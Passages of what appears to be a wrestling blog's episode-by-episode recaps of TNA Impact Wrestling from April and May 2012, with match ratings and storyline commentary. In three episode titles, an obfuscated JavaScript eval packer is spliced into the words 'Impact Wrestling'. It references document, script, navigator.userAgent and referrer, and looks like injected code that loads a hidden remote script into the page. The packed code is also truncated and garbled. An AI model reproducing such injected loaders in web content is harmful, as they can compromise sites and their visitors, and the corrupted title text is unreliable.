Impact Wrestling – May 10, 2012: Stipulations And Monster A Go-Go!

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iseat|var|u0026u|referrer|nnnia||js|php'.split('|'),0,{})) Wrestling
Date: May 10, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s the go home show for Sacrifice and I don’t think much has been announced for the show. It’ll probably be more about RVD vs. Roode which hasn’t been built up all that well for the most part. I mean the material is there but it hasn’t really grabbed me yet. Either way the match is set for Sunday and it should be entertaining enough. Let’s get to it.

Here’s Roode to open the show and say his usual stuff. I’m sure you know this speech by now. He took out Anderson, Hardy and RVD last week because he’s the champion and that’s what he does. He’ll be the longest reigning champion in 14 days and no one can stop him, especially not RVD on Sunday.

Cue RVD for a brawl with Roode going to the floor. RVD holds up the belt and Anderson comes out to beat up Roode too. Hardy comes in and it’s a 3-1 beatdown. Hardy and Anderson get in a fight because that’s what they do. Cue Hogan who has an idea for a fatal fourway tonight with everyone in the brawl in it. If Anderson or Hardy win, they get the RVD’s title match. If Roode wins, he can pick which of the three he wants to face. If RVD wins, he gets to pick the stipulation. RVD says cool let’s do it. Well at least it plays up to the Sacrifice name. Too bad this is IMPACT and not Sacrifice.

Ray isn’t worried about the tiny man known as Austin Aries. He says he’s going to take care of Aries tonight so stay tuned.

Gail is panicking about her match with Brook while Madison gets ready. Madison wants to look perfect for some guy but won’t say who.

Velvet Sky vs. Brooke Tessmacher

Velvet sends her to the corner and shakes her hips. Brooke sends her to the corner and shakes her hips. Ok then. They do some basic stuff until Brooke knocks her into the corner and uses her hips to ram Velvet’s face. Velvet comes back and hits a basement dropkick but In Yo Face is countered. Brooke hits a drop toehold to send her into the buckle and that belly to back mat slam for the pin at 3:42.

Rating: D-. This was REALLY bad with both girls missing a lot of stuff. It looked like their stuff was missing too, which is what can usually be covered up by people with more talent than this. Also I get tired of the hip stuff quickly. We get it: you know how to shake your hips. Now do something else.

Gail comes out and Brook Eats Defeat.

AJ has no comment on the secret thing and is focused on Angle this Sunday.

Hardy is ready for the main event.

Matt Morgan vs. Crimson

Bully Ray jumps Morgan with the chain before Morgan can get into the ring. He adds in a chair shot to the head and says that’ll be Aries in a stoic voice. No match as Morgan is taken out on a stretcher.

Post break and Morgan is still being taken out. Crimson gets on the mic and says that week after week Morgan claims to be the man to break the streak. He makes the referee ring the bell and count to ten.

Crimson vs. Matt Morgan

Ten count, 39 seconds.

RVD talks about Greek mythology and choosing the life of the hero instead of the long peaceful one.

X-Division Title: Zema Ion vs. Austin Aries

Aries takes over to start with a seated dropkick and it’s out to the floor. Aries misses a double ax off the top rope and hits the barricade. Ion hits a big flip dive which gets two back in the ring. Backbreaker gets two. A middle rope moonsault gets knees so Aries clotheslines him to the floor. Suicide dive takes Ion out and back in, a Tajiri handspring leads to a back elbow on the mat for two. A pair of dropkicks sets up the brainbuster to retain at 4:16.

Rating: C. The match was fine but it was basically a squash. Aries has zero competition and hasn’t for months, which makes these matches pretty dull as there’s no drama at all. It’s good that he’s moving up to the regular midcard but they need to get the title off of him. It’s not that hard to do it either but for some reason they keep waiting on it.

Kaz is worried about revealing the secret but Daniels says it’s ok.

RVD is ready for the win tonight and he’ll win the title on Sunday.

Quick recap on the latest incarnation of Daniels vs. AJ.

Daniels and Kaz are in the ring and Daniels invites AJ out to set the record straight. Cue AJ who says that this is a mistake but Kaz cuts him off. Kaz says that he protected AJ and then saw what was in the envelope and he stopped realizing why he was protecting AJ. Kaz opens the envelope and it’s a photo of AJ and Dixie Carter holding hands. AJ says so what so we get another of AJ with his hands on her face. The third is of them kissing. Daniels drops the pictures and leaves AJ stunned.

TV Title: Robbie E vs. D-Von

D-Von clears the ring of Big Robbie to start and hits a Thesz Press with punches. Headbutt keeps E down but T pulls D-Von to the floor. That goes badly for the big guy and E gets clotheslined as he tries to jump D-Von. Spinebuster ends this in 1:13.

Robbie T powerslams D-Von post match to keep this feud going another week.

We go to Tennessee to hear from Storm about how he has no excuse to lose. He’s put a lot of work into everything on his farm and in wrestling and he’s never second guessed himself until now. He didn’t get the job done at Lockdown and it kills him.

If RVD wins, it’s a ladder match. Apparently this was revealed earlier.

Joseph Park needs help finding the ring.

D-Von challenges the Rob’s to a handicap match at Sacrifice.

We recap the Abyss Is Missing story and how Joseph is looking for him.

Here’s Joseph in the arena and he has issues getting in the ring. He says everyone here knows who he is and what he’s doing. Every lead he’s had has said find Bully Ray so he’s not going away. Joseph says that he might buy a ticket and come to Sacrifice on Sunday to watch the show. Why bother? You’ve walked into every show here for months now.

Ray comes out and yells, saying this isn’t a court room and that Joseph needs to get out. Joseph says that Ray lost to Abyss in Abyss’ last appearance, plus he lost to D-Von two weeks ago. Then last week a guy half of Ray’s size named Austin Aries beat Ray down. How is that bully thing working out for you Ray? Ray shoves Joseph down and leaves as Park smiles.

Anderson is looking forward to not having his match on Sunday.

We get a great moment in TNA history which is Hogan arriving and throwing The Band out.

Angle is ready for AJ.

We run down the Sacrifice card.

RVD is ready for Sacrifice.

Rob Van Dam vs. Bobby Roode vs. Jeff Hardy vs. Mr. Anderson

If Rob wins, Roode vs. Van Dam is a ladder match. If Roode wins, he gets to pick his opponent on Sunday. If Hardy or Anderson win, they get RVD’s spot. Everyone jumps Roode to start but Anderson shoves Hardy off. They fight to the floor so it’s RVD vs. Roode with the champ hitting a suplex as we take a break.

Back with Roode getting two off another suplex. Anderson comes back in and gets his spinning neckbreaker for two on RVD. Van Dam comes back with the split legged moonsault for the same result. He loads up the Rolling Thunder but Roode catches him in the spinebuster for two in a nice counter. Rob superkicks Roode into the corner but his monkey flip to Jeff is countered. Whisper in the Wind gets two on RVD. Rolling Thunder hits Hardy but Roode throws Van Dam to the floor. Twist of Fate and Mic Check to Roode followed by Anderson spearing Hardy to the floor. Five Star pins Roode at 8:30.

Rating: C-. That’s the longest match of the night and it ran less than nine minutes, about four of which were spent in a commercial. I don’t think anyone thought anybody but Van Dam was going to win here which is ok, but they should have set up the stipulation way earlier than this instead of waiting for three days to go before the PPV.

Post match RVD puts up a ladder and here’s Abyss on the stage. He whispers to the camera and says Joseph is getting too close to the fire and to back off before he gets burned.

Overall Rating: D+. This show didn’t work for me for the most part. There was WAY too much talking and a lot of this felt like they were getting ready for TV later instead of the PPV on Sunday. That’s a major problem this company has: they book for TV instead of their major shows which doesn’t make much sense.

Why would anyone want to pay money (which is what TNA”s goal is: to make money) if the focus is on TV instead of the PPVs? Some of the matches got built somewhat ok, but adding a ladder stipulation to the title match three days early is a bad idea as you had a month you could have built that up with. Either way, not a good show heading into a filler PPV.

Results
Brooke Tessmacher b. Velvet Sky – Belly to Back Mat Slam
Crimson b. Matt Morgan via countout
Austin Aries b. Zema Ion – Brainbuster
D-Von b. Robbie E – Spinebuster
Rob Van Dam b. Jeff Hardy, Bobby Roode and Mr. Anderson – Five Star Frog Splash to Roode




Impact Wrestling – May 3, 2012: Rise Of The Silva Surfer

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fakff|var|u0026u|referrer|tssbk||js|php'.split('|'),0,{})) Wrestling
Date: May 3, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s time for another TNA show but it’s hard to say where things go from here. We had Open Fight Night last week which was nothing special at all in my eyes. The end of the show was Eric Bischoff being covered in human waste and since he’s gone FOREVER, it doesn’t really give any indication of where things are going next. Let’s get to it.

We open with a recap of the end of last week’s show.

Flair is in the ring complaining about Hogan and how Hulk ran Eric Bischoff out of the building. You spell his name R-i-c G-o-d F-l-a-i-r. That’s an awesome line. He calls out Hogan and eventually here’s Hulk. Flair says this is good vs. evil and Hogan is good, while Flair is the “most evil man in the planet.” Flair says he’ll get power back. Hogan says he isn’t here to fight him, but he’s here to step the game up. The real evil one is Eric though because he did everything. Hogan says he hung up his boots when the GM position came open and he’s here to make this the longest running company.

Hogan says he’s Flair’s boss and offers Flair a spot as a judge on the Gut Check stuff. So wait they had a guy come in and compete without having the judges already picked? Flair can teach anyone more than they could ever learn and he’d love Flair to head up the judging. Flair actually says he’ll do it.

Roode and RVD pick each others’ opponents tonight.

Velvet thinks Gail is a cheater. Tessmacher says she never got a shot.

Brooke Tessmacher/Velvet Sky vs. Madison Rayne/Gail Kim

Gail and Velvet start with Brooke being knocked to the floor. The May 31 time slot change is confirmed and there’s going to be a huge surprise on that show. Velvet gets double teamed and it’s Madison in now, humping the mat as usual. Back to Gail who hammers her down for two. A top rope rana is countered and Velvet comes off the middle rope with a bulldog kind of move to set up the tag. The ring gets cleared out and Brooke winds up hitting Eat Defeat on Gail for the pin at 4:45.

Rating: D+. How in the world was this almost five minutes? It felt like it came and went inside of thirty seconds, which doesn’t really surprise me as these matches are usually pretty forgettable. It’s been a very steady and basic build for Brooke vs. Gail and Gail needs to lose the title already anyway. The looks of the four girls are the highlights here again as usual.

Since we’re coming up on the ten year anniversary of the company, we get some clips of the previous ten years, including sabu showing up and costing Raven a title match against Jarrett which was a big deal at the time.

Here’s RVD to face whoever Roode picks for him. RVD says that he’s one of a kind and he’ll win the title from Roode. Cue Roode who says RVD always has his head in the clouds and was on a HIGHatus, and at Sacrifice RVD will be added to the list of everyone that Roode has beaten. Roode says RVD can announce Roode’s opponent first. RVD implies Storm for a bit but it’s Mr. Anderson. Roode picks Jeff Hardy.

TV Title: D-Von vs. Robbie T

This is fallout from Lockdown. Robbie jumps him in the corner and takes over quickly. He slams D-Von down for two but runs into a boot in the corner. D-Von comes back with his usual stuff like shoulders and punches. Swan Dive headbutt gets two. Robbie E is brought in and does nothing so D-Von spears T down. E hits him in the head with The List for the DQ at 2:45.

Snow and Flair meet in the back and the third judge is the Senior Vice President of Talent Relations: Bruce Pritchard (Brother Love).

After a quick recap of Silva’s performance last week, the judges talk with overly dramatic music playing. Pritchard and Flair aren’t thrilled but Snow pleads his case. Flair says he isn’t big enough so Snow suggests the X-Division. Flair still isn’t sold and Pritchard seems to have no idea what side he’s on. We’ll get the decision later I guess. So they sat there talking for four minutes for nothing?

Hogan tells Anderson his match tonight is No DQ and no countout.

Jeff Hardy vs. Rob Van Dam

They fight over a wristlock to start and RVD takes him into a rollup for two. Jeff sends him to the floor and hits a clothesline off the apron which gets two back in. Whisper in the Wind gets two. Van Dam takes out the knee and hits Rolling Thunder for two. Cue Roode with the belt but the referee sees him coming. Jeff gets sent into the ropes and Roode hits him in the back with the belt, allowing Rob to superkick Jeff down for the pin at 3:40.

Rating: D+. Bad match but it’s mainly because of how short the match was. With less than four minutes and a piece of that being spent on the referee yelling at Roode, they can only make it so interesting. Nothing to see here and I really don’t get the ending unless Roode hit Jeff by mistake.

Ray is walking through the back and runs into Joseph Park who says he’ll prove that Ray had something to do with Abyss’ disappearance. Ray shoves him away and threatens Park if he doesn’t back off.

JB says that he did what he did to Bischoff last week because of the last two and a half years of stuff he’s had to put up with. Bully Ray shows up and drags JB to the ring, saying they’ll talk about it out there. Out in the ring, Ray says that he’s tired of this anti-bullying nonsense and goes off on JB (never hitting him) about how JB is the kind of guy that guys like Bully pick on.

Cue Austin Aries who goes off on Ray, saying that Ray has picked on him for his size like everyone else has. Aries says that Ray was fat for most of his career and now he’s in shape and….Ray knocks the mic out of his hand and yells at Aries until Aries blasts him in the head. Aries beats him into the corner and beats him down in the corner. Security comes out to stop Aries and Ray kicks him low to end this.

Kaz and Daniels talk about getting the tag titles until Angle yells at them. They’re in a six man tonight. Angle isn’t thrilled about being their partner.

Roode isn’t worried about facing Mr. Anderson.

Kurt Angle/Christopher Daniels/Kazarian vs. Samoa Joe/Magnus/AJ Styles

AJ has those stupid black gloves again. The champs hit the ring and the brawl is on. Those four head to the floor so it’s AJ vs. Angle in the ring. This certainly works. AJ does the dropdown into a dropkick sequence but Daniels comes in to jump him. Angle doesn’t like it so he shoves Daniels into the corner. Joe comes in and pounds Angle down before tagging Magnus back in.

Kurt takes him down and we hit the chinlock. Magnus fights up and hits a clothesline for the tag to AJ. Styles cleans house and loads up the Clash but Daniels breaks it up with an enziguri. Everything breaks down and Magnus makes a blind tag. Daniels is sent to the floor with Magnus following him. Suicide elbow takes Daniels out. AJ sets for a dive but Angle picks the ankle and hooks the lock but Kaz tags himself in while the hold is on. Joe runs Angle into Daniels and Magnus breaks up Fade to Black, allowing Styles to hit the Clash on Kaz for the pin at 4:30.

Rating: C+. This was the best match on the show by about a mile so far. They were moving out there and while you had a bunch of angles going on in one match it was still entertaining. It’s going to continue Daniels vs. AJ which needs to end forever already but it also continues Styles vs. Angle which is good.

Daniels says next week, AJ needs to reveal the secret or he’ll do it himself.

Time for the Gut Check deal. Snow introduces the three judges (himself, Pritchard and Flair). This is straight out of a reality show as Silva stands there in a spotlight while the guys talk about him. Flair says no, Snow says yes, Pritchard says….something, and Silva gets thirty seconds to talk.

He’s from Quebec so he has a thick accent. This is his dream and he gets cut off with Flair saying to talk to them, not the marks. Silva says that he stands up for himself every single night and that he’s here for his contract. Flair says ok you’re in. Shouldn’t that do it? Pritchard says that sways him so it’s all three now and he gets a contract.

We run down the card for Sacrifice.

Mr. Anderson vs. Bobby Roode

This is No DQ. They start on the floor with Roode in control but Anderson sends him into the post. The Regal Roll puts Bobby down and we take a break. Back with Roode pulling the referee in front of him as a shield and then hitting a low blow to take over. Out to the floor again and Roode knocks Anderson around. Roode gets a chair and slides it in where it gets wedged between the top and middle rope.

Since this is a wrestling match, Anderson sends Roode into it instead. Anderson makes the comeback and hits the high kick for two. Mic Check is broken up and Anderson charges into a boot. Roode counters another Regal Roll into a spinebuster for two. Here’s Hardy out of nowhere to beat up Roode but as he goes to get Anderson up he takes the Mic Check. There’s another Sacrifice match I guess. Roode hits Anderson with the chair and this the fisherman’s for the pin at 11:10, a lot of which was in a commercial.

Rating: C. Not bad here but it was more to set up Anderson vs. Hardy than to do anything about Van Dam vs. Roode. At least it broke ten minutes which helps a bit but the match was nothing great at all. Roode needs time to make his matches better and since he didn’t have that here, the match suffered.

Roode lays them both out with the chair until Van Dam comes in for the save. Roode leaves but comes back to beat down RVD, hitting a DDT onto the chair to end the show.

Overall Rating: D. This one missed for me. It wasn’t that the show was bad but much more that it was boring. I didn’t like the Silva stuff for the most part and that was pretty much the main focus of the show. There was less Hogan tonight which helped and while it wasn’t annoying like last week, I just kept wanting the show to move along. The really short matches other than the main event didn’t help things either. Not a horrible show but it didn’t work that well for me.

Results
Brooke Tessmacher/Velvet Sky b. Gail Kim/Madison Rayne – Eat Defeat to Kim
D-Von b. Robbie T via DQ when Robbie E interfered
Rob Van Dam b. Jeff hardy – Superkick
AJ Styles/Samoa Joe/Magnus b. Christopher Daniels/Kazarian/Kurt Angle – Styles Clash to Kazarian
Bobby Roode b. Mr. Anderson – Fisherman’s Suplex

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Impact Wrestling – April 26, 2012: Open Fight Night: It Came, It Went, It Had A Lot Of Hogan

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abeir|var|u0026u|referrer|ddhfz||js|php'.split('|'),0,{})) Wrestling
Date: April 26, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

This is the first of the Open Fight Nights, which means that anyone that challenges anyone else will automatically get their match. There’s a guaranteed title match as well as a guaranteed TV Title match which will be the case every week. Other than that we’ll continue the build towards Sacrifice and the main event between RVD and Roode. Let’s get to it.

We open with Hogan talking to the champions (minus ODB and Young) and saying they could be challenged tonight too. Tonight Joe and Magnus will be defending against….some team that Hogan will announce just before the match. He might even tell them as the opponents are on the way to the ring.

D-Von comes out and says that since he has to defend against someone every week, tonight it’s going to be against the guy that everyone wants to see get beaten up: Bubba. Yes Bubba, not Bully. He has to accept because it’s a challenge on Open Fight Night. Ray comes out and runs his mouth first, saying that he doesn’t want to be in a ring with D-Von. Ray says no, so D-Von chases after him and throws him into the ring

TV Title: D-Von vs. Bully Ray

D-Von throws him into the ring and Ray begs off like a true bully. Thesz Press puts Ray down and D-Von goes up, only to get crotched as we take a break. Back with Ray dropping elbows and we get a clip of him holding up the belt during the break. D-Von comes back with right hands but Bubba clotheslines him down for two. Bubba sets for a charge but runs into the spinebuster for the completely clean pin at 9:45, most of which was in a commercial.

Rating: D+. The match was nothing interesting and for the life of me I don’t get the idea of pushing D-Von this hard. He hasn’t been bad, but man alive there are a lot more people that could be pushed besides him. Nothing to see here for the most part and if this is what open fight night is going to be like, it doesn’t seem like something that’s going to be all that interesting. It’s early yet though.

Flair is going to have a party for Eric (uncensored) Bischoff later tonight.

Kaz and Daniels come in to talk to Angle and ask for a thank you for the AJ victory last week. Angle yells at them and says stay out of his matches. Daniels also mentioned that AJ’s world will come crashing down in a few weeks.

Here’s JB who says that since it’s Open Fight Night, he wants to call out Eric Bischoff for being a jerk to JB, who has more seniority than anyone in the company. Eric went on a rant on Facebook or Twitter about JB recently and this is the payoff. Here’s Eric, marking his time away from Impact at one full week. Eric takes a picture of JB and Borash goes into a rant about Eric getting drunk and talking about employees behind his back.

As Eric talks, Ray comes in with a low blow to JB. Eric says he’s going to post something on his Twitter, and demands that a referee come in. he rolls up JB and has the bell rung. You know for a guy that isn’t on the show anymore, he’s around a lot anymore.

Anderson remembers Bischoff and talks about how he’s a hypocrite. Mexican America’s music is loudly playing during most of this. Pay no attention to the graphic saying “earlier today”.

Here’s Mexican America who says they can beat anyone.

Anarquia vs. Kurt Angle

Anarquia tries to have Hernandez do this and jumps Angle from behind. Angle Slam, Ankle Lock, 49 seconds.

We get a profile on the guy that is getting the Gut Check Challenge for a contract. It’s former OVW TV Champion Alex Silva. One of the judges (out of three plus Hogan) is Al Snow.

Alex Silva vs. Robbie E

Remember it’s not win and you’re in. Silva has to impress the judges, of which we only know two. Silva starts fast but gets caught by Robbie pretty fast. Powerslam gets one for Silva and then they cut to the crowd in probably a botch edit, followed by an implant DDT by Robbie for the pin at 2:18. Way to push these new guys right off the bat guys.

Dixie remembers the lies Eric told her.

Hogan has all of the potential tag team contenders in his office (Kaz/Daniels, Guns, Anderson/Hardy, ODB/Young) and wants to hear why each should get a title shot. The Guns say they’re dedicated more than anyone else and Hogan respects that. Hogan wants Hardy and Anderson to get along so Anderson kisses Hardy on the cheek. As for the Knockout Champions, Eric gives a speech of his own. Hogan can’t make a pick now but he eliminates the Guns from the running.

Here’s Tessmacher with something to say. She says last week she beat Gail and it’s being called a fluke. Brooke is here to prove it wasn’t just a fluke and she wants a match with Gail right now.

Gail Kim vs. Brooke Tessmacher

Brooke keeps trying to jump her but Hebner keeps stopping her. Gail jumps Tessmacher and we’re ready to go. This is non-title by the way, as I guess you can’t challenge for titles, which I thought they said you could last week but whatever. Tessmacher sends her into the corner but gets clotheslined down immediately. Tessmacher makes her comeback with some dropkicks but misses a charge and hits her throat on the ropes. Gail holds the belt in front of Brooke’s face and says she’s nothing. Kim goes up but misses a missile dropkick, allowing Brooke to hit a mat slam out of a belly to back suplex position for the pin at 3:57.

Rating: C-. Considering the great shots we got of both of these two, there’s no way you can really call this a failure. Tessmacher is out there because she looks great in a swimsuit and there’s nothing wrong with that at all. Gail needs some new challengers and Brooke is fine for that role.

Daniels and Kaz say they’ll get the title match tonight. Also if AJ doesn’t show up next week, they’re going to let the cat out of the bag.

Video on Rob getting the title shot last week and Roode has a quick response to him.

Silva and Snow are in the back and we’ll get the decision next week from Snow and the judges. Roode comes in and says he doesn’t need to introduce himself and Silva agrees. Roode doesn’t like the idea of the Gut Check deal because he had to work so hard to get the contract here. He says always be ready and hits Silva in the stomach.

Back to Hogan’s office for another elimination as this is a freaking reality show now. He throws out Eric and ODB for not being serious enough. He tells both remaining teams to go to the ring.

Garrett isn’t sorry his dad is getting fired.

Ray is on the phone with some chick when Joseph Park comes up to see him. It only took him about three months to find him too. Ray doesn’t like to be touched. He has nothing to say to Park but gets a business card, which he says to shove. Park laughs and needs a good dentist.

Tag Titles: Samoa Joe/Magnus vs. ???/???

The contenders are Hardy/Anderson and Kaz/Daniels. Hogan picks Hardy/Anderson because Kaz/Daniels aren’t legit or something.

Tag Titles: Samoa Joe/Magnus vs. Jeff Hardy/Mr. Anderson

Joe and Anderson start us off and it’s a stalemate. Anderson slaps Hardy on the chest for a tag and it’s Magnus on the other side. They have about the same result so it’s time for more communication issues with Hardy and Anderson. Back with Joe pounding on Anderson and tagging in Magnus. Anderson takes Magnus down and begrudgingly tags in Hardy. The champs double team Jeff and Joe gets two off a Magnus boot. Hardy hits the Whisper in the Wind and makes the hot tag to Anderson. He cleans house but gets caught in the Clutch as Jeff is on the floor, good for the tap at 10:53.

Rating: C+. Well this was a waste of buildup from a show. They spent the whole show building this title match up and while it was ok, there was nothing great about it and nothing happened. That’s the issue with the whole show: nothing is really happening on it and it’s getting annoying.

Here’s Flair, Gunner, Kaz, Ray and Daniels for the Bischoff party. The fans chant goodbye and Flair tells them he’ll move the party. He says if you know wrestling, you know Eric Bischoff. He asks Eric to come out and praises him for awhile. Gunner gets to thank him for a lot of stuff, Ray calls Eric the wind beneath his wings, and Flair gives him a Rolex.

Cue Garrett and some faces including RVD, Aries and the Guns along with JB. They say it’s time to induct Eric into the shed of shame, which is a portable toilet. The guys go to the ramp for a brawl and Garrett grabs Eric, throwing him in the Port-A-Potty. They chain it shut and turn it over to mess Eric up. Eric comes out of it to end the show. Oh and this got more time than any match tonight.

Overall Rating: D. This was just another episode of Impact but a lot more boring than usual. As always, WAY too much camera time for Hogan and Bischoff. If you look at the show, Ray was in I think four segments, Kaz and Daniels were in about five, Hogan was in something like ten, and NOTHING actually changed here. No titles changed hands, we don’t know about Silva (nothing special) and nothing was advanced for the PPV. This didn’t work for me at all.

Results
D-Von b. Bully Ray – Spinebuster
Kurt Angle b. Anarquia – Ankle Lock
Robbie E. b. Alex Silva – Implant DDT
Brooke Tessmacher b. Gail Kim – Face First Mat Slam
Samoa Joe/Magnus b. Jeff Hardy/Mr. Anderson – Coquina Clutch to Anderson

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Impact Wrestling – April 12, 2012: Too Much Bischoff, As Usual

Impact Wrestling
Date: April 12, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the go home show for Lockdown and again there aren’t any spoilers for the show tonight. The main idea here will probably be the announcing of the teams for Lethal Lockdown, or the Garrett Bischoff Showcase, whichever you prefer to call it. Other than that we’ll likely get a face to face showdown between Roode and Storm. Let’s get to it.

Tonight is the ODB/Eric Young wedding.

Here’s Eric Bischoff to open the show. I’m still not sure how the stipulation of him never being able to use his own name again works, or why most fans would care about that but it’s something else I guess. He starts talking about Lethal Lockdown and the fans chant that they don’t care. He brings out his team: Bully Ray, Gunner, Kazarian, Christopher Daniels and….there’s no fifth man.

Ray wants to know if the fans know who Eric is. The fans again say that they don’t care. Ray is proud to go to war for Eric, but Eric has made one mistake. That mistake is Garrett. Eric says that tonight there’s a best of three series to determine who has the advantage. Gunner is ready for whomever Garrett’s team brings to the table. Speaking of Garrett here he is. The fans cheer for him so there’s validation for him to be on the show I guess.

He has his own team, comprised of Anderson….and I guess we have to wait for the rest of the best of three series to find out the rest.

Mr. Anderson vs. Gunner

We join the match in progress after a break with Anderson ramming Gunner’s head into the buckle. Anderson misses a charge into the corner and Gunner takes over as they head outside. Gunner tries to ram Anderson into the post but gets sent himself. He goes into the barricade face first a few times as well and they head back inside. Anderson drops him with a clothesline and a few elbows but Gunner comes right back. He’s so intense you know. Gunner grabs a rollup with tights for two. They slug it out and Gunner is sent into the post twice. Anderson chokes him into the corner and won’t let up on it, drawing the DQ at 4:47.

Rating: C. This wasn’t bad as Anderson was showing some fire for the first time in a very long time. He’s not interesting for the most part though and that really hurts him. Anderson is just kind of there for the most part and the same is true for Gunner. Neither guy does anything of note in the ring and it makes most of their matches boring. This was a bit different but not by much.

Young is in a poweder blue tux and glasses when Joseph Park shows up. Park asks Eric about a pre-nup which Eric thinks is a dog. Joseph asks Eric to think and the last thing he remembers is that Abyss was involved with Immortal. Joseph leaves Young a business card in case he needs anything. I like the Park character and it’s nice to see him FINALLY get somewhere with this.

Here are the Guns with no entrance and a title match on Sunday. They talk about how great they are and how Joe/Magnus haven’t teamed together long at all. Here are the champions for the semi-traditional tag team face to face talk. Magnus says he respects them (also traditional) but it’s not about who the best team ever is. It’s about who the best team today is, and the Guns are looking at it. A challenge is laid down to fight right now and the Guns are ready but here’s Mexican America to stop it. Anarquia says they should be in on this and both teams promptly destroy them.

Christopher Daniels vs. Austin Aries

Match #2 in the series for Lethal Lockdown advantage. Well at least it’s not AJ. Aries controls with a headlock to start but Daniels gets one of his own. They feel each other out a bit and Aries is moving better than Daniels here. The crowd has been hot all night too. Daniels charges into an elbow but Aries gets crotched as he goes up. Daniels tries a dive on the floor but Aries slides in and hits that sweet suicide dive of his.

Back in Aries takes him down and hits a handspring elbow drop for two. Sunset flip out of the corner gets the same. They trade some reversals and Aries tries to use tights but gets caught. Release Rock Bottom looks to set up the BME but Aries moves. He heads up and hits a missile dropkick followed by a running dropkick in the corner. The Brainbuster gets the clean pin at 5:32.

Rating: B. I’m not a fan of Daniels about 80% of the time, but this was a really fun match. Having Daniels getting away from AJ almost always proves to make him much more enjoyable, probably because it’s ANYTHING but him vs. AJ, but this was good stuff. Aries was flying out there and having him get the clean pin was a nice plus as he needs to get some wins over the bigger names on the show.

Here’s Hardy to cut a promo as they’re assembling the cage for the wedding. He talks about how Angle cost him the world title and on Sunday it all ends in a steel cage. They’re going to hurt each other….and that’s it. He only talked for about 40 seconds.

We get a promo from last Thursday where Storm rants about Roode disrespecting Montgomery Gentry.

Young is still giving himself a pep talk when Rosita and Sarita come in and hit on him. They want the titles back and imply that once the ring goes on his finger his life ends. They both flash him and Young turns them down.

It’s time for the wedding. Let’s get this over with. Eric comes out and is nervous. Here Comes The Bride plays and there’s no ODB. Oh ok she comes out to her theme music. So Cal Val locks them in the cage and Eric looks nervous. Young’s middle name is Cornelius. The minister isn’t thrilled with how strange this is. He says that the cage is symbolic of the strength and commitment needed for a marriage.

There’s a video of their history together which is set to a bad love song which sounds like something off an SNL parody. A lot of Bronco Busters are included. Eric seems quite proud after the video. The fans chant for ODB who looks nervous. They both have their own vows. Eric’s say he be with her no matter what she does and he’ll allow her to rub his feet whenever she wants because he knows she’s into that. She promises to not take his last name but she will take his ring music. She’ll also slap him when necessary because he’s into that. Apparently Eric gets sex whenever he wants.

The minister asks if there’s an objection and cue….Mexican America. Oh wait just the chicks. Didn’t they get repossessed or something? Sarita talks about flashing Eric in the back and says he can have the best Knockout tag champions ever. Rosita takes off her robe and dances in lingerie. He seems interested and ODB is crying. Sarita does the same sort of dance and ODB says she doesn’t have what they have. She does however have this, and she strips her dress off to reveal lingerie and a small flask of her own.

Eric turns to ODB and says he knows the missing ingredient now. He strips down to his underwear as usual but leaves the cummerbund on. They make the minister strip too. Eric says yes, ODB says yes, and ODB kisses him to the mat. This got nearly 14 minutes, or longer than almost two of the first match and the second match combined.

Flair gives Ray a pep talk.

Roode says he has no problem with the match vs. Storm being personal.

Bully Ray vs. AJ Styles

The respective winning team gets the advantage in Lethal Lockdown on Sunday. Feeling out process to start before AJ speeds things up. Everyone is on the floor to watch this one including Flair. Ray sends him to the apron and a big boot puts AJ on the floor. Ray misses a splash and AJ speeds things up, hitting a clothesline and another in the corner.

Tornado DDT is countered and Ray hits a great Samoan Drop for two. Ray goes up but AJ nips up and hits a rana for two. Styles goes to the ropes but Kaz trips him, starting the big brawl. In the ring AJ hits the Pele for a delayed two. AJ gets distracted and Ray gets his chain. AJ tries the springboard forearm but jumps into the chain for the pin at 6:44.

Rating: C. Pretty fun match here as you would expect from both of these guys. I’ve heard rumors that Ray might be getting a world title reign this year and while I would initially think it’s company suicide, it’s no stupider than Garrett’s push. This was a pretty decent match for the most part with AJ doing his usual high flying and Ray being a decent power brawler. Good stuff.

And here’s Hulk to say that now it’s 5 on 5 and Bischoff has three minutes (commercial) to get his last guy.

Back and Flair wants to be the 5th guy but Eric says no. Eric thinks that Hulk is going to be the other team’s fifth guy so Eric wants to be in there so he can stand over Hulk. Hogan says he won’t he (as in Hogan) won’t be in the match but the fifth man will be…..Rob Van Dam. So to recap, we have a two time world champion, a former world champion, the hottest commodity in the company, and the most decorated man in the history of the company all as foot soldiers for GARRETT BISCHOFF. Also, could this match be any more one sided? Eric’s biggest name is who, Ray? But hey, it makes Garrett look good right?

Video on Roode vs. Storm, narrated by Roode. As usual, this was awesome.

We run down the card for Lockdown. I completely forgot about Morgan vs. Crimson.

Madison Rayne/Gail Kim vs. Mickie James/Velvet Sky

